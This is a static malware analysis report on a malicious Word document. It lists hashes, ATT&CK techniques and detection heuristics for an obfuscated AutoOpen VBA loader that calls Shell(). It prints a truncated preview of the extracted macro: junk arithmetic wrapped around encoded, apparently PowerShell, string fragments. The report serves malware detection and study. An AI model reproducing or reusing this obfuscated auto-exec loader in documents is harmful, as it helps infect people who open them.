Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0134a79f58284ec…

MALICIOUS

Office (OLE)

117.5 KB Created: 2018-02-16 20:53:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: f02dc22281b1bbbb59d6a381bf67b631 SHA-1: fe9c60d4129c587c1650e6761508482a3a178a29 SHA-256: c0134a79f58284ec6d5b86f248bc578bc4354b7f4ce6ed11696509a74b0f11ad
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing heavily obfuscated VBA macros. Critical heuristics indicate the presence of `Shell()` calls and an obfuscated auto-exec loader, suggesting the macro's purpose is to execute arbitrary code. The `AutoOpen` macro firing further supports this, indicating an attempt to run malicious code upon opening the document.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35907 bytes
SHA-256: 473755b5abaee9f4f0207984efcb2703dbad1547d9ee96d5e9a9d840acdf7476
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qaQpAzE"
Function ZzEVOvij()
On Error Resume Next
WzRsSU = 4210374 / ChrB(7067600 + CBool(4933929)) / 6961672 * kFYNztTZtdrkc * (LwAjqO / WATvKh / 6659957 - CByte(5633106) / 7466639 - DjXCDAfiGPa)
AtDDcfkFF = 7598773 / ChrB(7182367 + CBool(8464137)) / 2158683 * rLTVDjVoNFFR * (LlwGtoBEFHwU / kzfjO / 5250875 - CByte(6997744) / 4292377 - WJQfTNjpwuOou)
SvTJsWM = 5723666 / ChrB(5730332 + CBool(6302251)) / 8357611 * KjlEU * (AzVIi / ihSVOmpNVnVQI / 813461 - CByte(1187346) / 2715294 - VBCXXanESpPfU)
DcfcuzOVwi = (AjzhPjvQAXS) + ?HIUbhhuGKUsad("mYmcHAr]105+[cHAr]97+[cHAr]120),[Stri'+'nG]tZsZtGXPl", 4, 40)
UwRsijjhADJ = 3602304 / ChrB(1198078 + CBool(1301651)) / 6130876 * wzaiAwvG * (nYsQG / LtpDZk / 4363362 - CByte(4787237) / 3885854 - KrTipKapISuQu)
JXuXFt = 6442924 / ChrB(5098690 + CBool(3591204)) / 2754715 * cWustwQYQDGjZY * (qqEcYK / wCInPuzIdG / 4214141 - CByte(5299314) / 9307295 - zRzWRQtXjbtWKD)
YsSQTBLiXI = 8348272 / ChrB(4200233 + CBool(8203502)) / 8094133 * wXskFjWZIZA * (wbIsYG / HtkbSj / 8972409 - CByte(8781070) / 6915694 - QHPfrzaFhspurl)
umwJOuPZ = (UvQvmJAHc) + ?HIUbhhuGKUsad("uPJPwdYXadVVzaX3Is+PRiuwuQWoXqiZnLRHkGSFt", 15, 5)
bAYbkHI = 5879202 / ChrB(1320895 + CBool(5789627)) / 6541407 * qOQMCwdjPzzh * (zsiwAjdjihB / Ntfwmo / 3145309 - CByte(3934705) / 4536949 - AUWnPSpoLo)
OOCNFvonB = 945733 / ChrB(8823140 + CBool(8806441)) / 5025279 * hGvEHM * (ODpEwkcLiNM / sKaMTKqpV / 2656601 - CByte(670724) / 3731236 - EtFiV)
YojKJ = 3087963 / ChrB(3130776 + CBool(3205747)) / 3586450 * SwLUEM * (FrhYi / HtbtQWMAAVEtq / 4405622 - CByte(5617439) / 2602911 - wEZEHOIqldVILm)
QpdYujGXw = (LnmirSk) + ?HIUbhhuGKUsad("ItDXlhhUpKzfuifKmSTJiC+jkCaiax+iaxjk'+'C+jkCchji3Is+3Isax+iaxkC+'+'jkC(jkC+jkCebjkCiax+iax+jkCXasfc in ebjkC+jkCXCSWjbqDRYnzswZHZlM", 22, 92)
GXrwDaROqA = 4003893 / ChrB(1658826 + CBool(8045950)) / 129338 * TDisqsojdW * (ZoUawJSzolBQX / wQQBGOJwJZTU / 391437 - CByte(3089997) / 2474337 - tdDVPiXUoL)
FScjJiiiY = 8041824 / ChrB(8104291 + CBool(2338341)) / 8832297 * mGErbYiW * (iciuHc / CmKrYM / 388411 - CByte(4715587) / 3066628 - wNvYTkPHjNzYl)
MhpXYcK = 1099708 / ChrB(2127958 + CBool(1216199)) / 8990950 * nEdNLDnDBCua * (fcibU / kPsOnaOJiB / 958546 - CByte(6308098) / 3443369 - OlLPjBrl)
jubowZ = (cGaNpWruk) + ?HIUbhhuGKUsad("JUzmplPddwBurMtCcjkC+jkCMsz+MsztjkC+jkCMjkC+jkCszjkC3Is+3Is+jkC)iax+iax'+' jkC+jkCrjkC+jkCa3Is+3Isndomj'+'fAX", 16, 91)
sRncu = 369744 / ChrB(9321554 + CBool(4088155)) / 5420502 * quQSsT * (zzIAZUFriwb / nHqqWZwDzcNms / 7124483 - CByte(9549347) / 3577248 - fklWuLYmo)
Smbwhd = 3121584 / ChrB(3345874 + CBool(8486958)) / 508882 * DVioAzEts * (PmWlWIoXmTCNpT / wRDhJfLvDKRNw / 9373446 - CByte(3602226) / 3878341 - spHIpnQjbuFj)
WBXZIU = 4421272 / ChrB(8111750 + CBool(6098276)) / 2054996 * EiAMjQDrTbEusa * (wQVAMkGi / BilGLjUlDzrk / 3863313 - CByte(4953365) / 1755021 - DRWLLmiTl)
KBdkWKsimFj = (qiKYvpqmztI) + ?HIUbhhuGKUsad("QMlYlrrGphYNwGou.repLacE(([ChAR]11'+'4+[ChAR]115+[ChAR]78),[stRinG][ChAR]36).repLacE(iaxjkCiax,[stR'+'inG][ChAR]39)lN7 . ( IhmpSHoMe[21XjOdjRqhvwCtBhwDfd", 17, 119)
IlwbbnVnL = 1800510 / ChrB(3603255 + CBool(7030952)) / 3645821 * PzRVaZzFFn * (hHOIuGljErupl / FPIFo / 8727869 - CByte(2585276) / 6990399 - vBNcEMHNlFo)
lGMBBMm = 391400 / ChrB(4399052 + CBool(5434320)) / 760420 * DjBOlUJjTUK * (AQujzYTGhihWw / JkwzjmEZlM / 2354755 - CByte(4224270) / 9681673 - rjIjCRMUKI)
TUjiHB = 964169 / ChrB(9681954 + CBool(1761500)) / 9442912 * ZziRGKYjTlYlaf * (UbarPAVzUfR / ZoukdHcMNhEr / 3186005 - CByte(3626173) / 9486026 - zdfmpdndYRiw)
UJhWzWzi = (mHTrsijirMa) + ?HIUbhhuGKUsad("DdQlJ'+'34))'+' iax)NbBwznOHopRaRrmCSRCYZEovR", 6, 15)
mfadH = 6212383 / ChrB(9958559 + CBool(8182497)) / 9959770 * wwAQMMZfIL * (RBtTCQwjB / WIBHpqltXBTm / 2057223 - CByte(4611232) / 435119 - Io
... (truncated)

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